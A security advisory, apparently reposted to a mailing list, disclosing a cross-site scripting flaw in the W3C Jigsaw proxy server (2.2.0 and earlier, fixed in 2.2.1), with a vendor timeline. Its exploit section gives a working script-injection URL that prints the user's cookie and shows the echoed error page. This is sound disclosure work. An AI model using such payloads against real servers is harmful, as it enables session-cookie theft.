W3C Jigsaw Proxy Server: Cross-Site Scripting Vulnerability (REPOST)

["TAKAGI, Hiromitsu" <takagi.hiromitsu () aist go jp>]

W3C Jigsaw Proxy Server: Cross-Site Scripting Vulnerability
===========================================================

Affected:
  Jigsaw 2.2.0 and earlier
  http://www.w3.org/Jigsaw/RelNotes.html#2.2.0

Fixed:
  Jigsaw 2.2.1
  http://www.w3.org/Jigsaw/RelNotes.html#2.2.1

Exploit:
  http://nonexistenthost.google.com/<SCRIPT>document.write(document.cookie)</SCRIPT>

  ========================================================
  An HTTP error occured while getting: <p>
  <strong>http://nonexistenthost.google.com/<SCRIPT>document.write(document.cookie)</SCRIPT></strong><p>
  Details "The host name [nonexistenthost.google.com] couldn't be resolved.
  Details: "nonexistenthost.google.com"".<hr>Generated by
  <i>http://.............:8001/
...snip...
  ========================================================
  
  Similar problems have been found in Proxomitron Naoko-4 BetaFour,
  Microsoft ISA Server and Squid 2.4 DEVEL4.
  <http://www.securityfocus.com/bid/3087>
  <http://www.microsoft.com/technet/security/bulletin/MS01-045.asp>
  <http://www.securityfocus.com/archive/1/197606>

Vendor Status:
  Aug 10, 2001: Notified
  Jan  4, 2002: Responded 
  Apr  8, 2002: Fix released


Best regards,
--
Hiromitsu Takagi
http://staff.aist.go.jp/takagi.hiromitsu/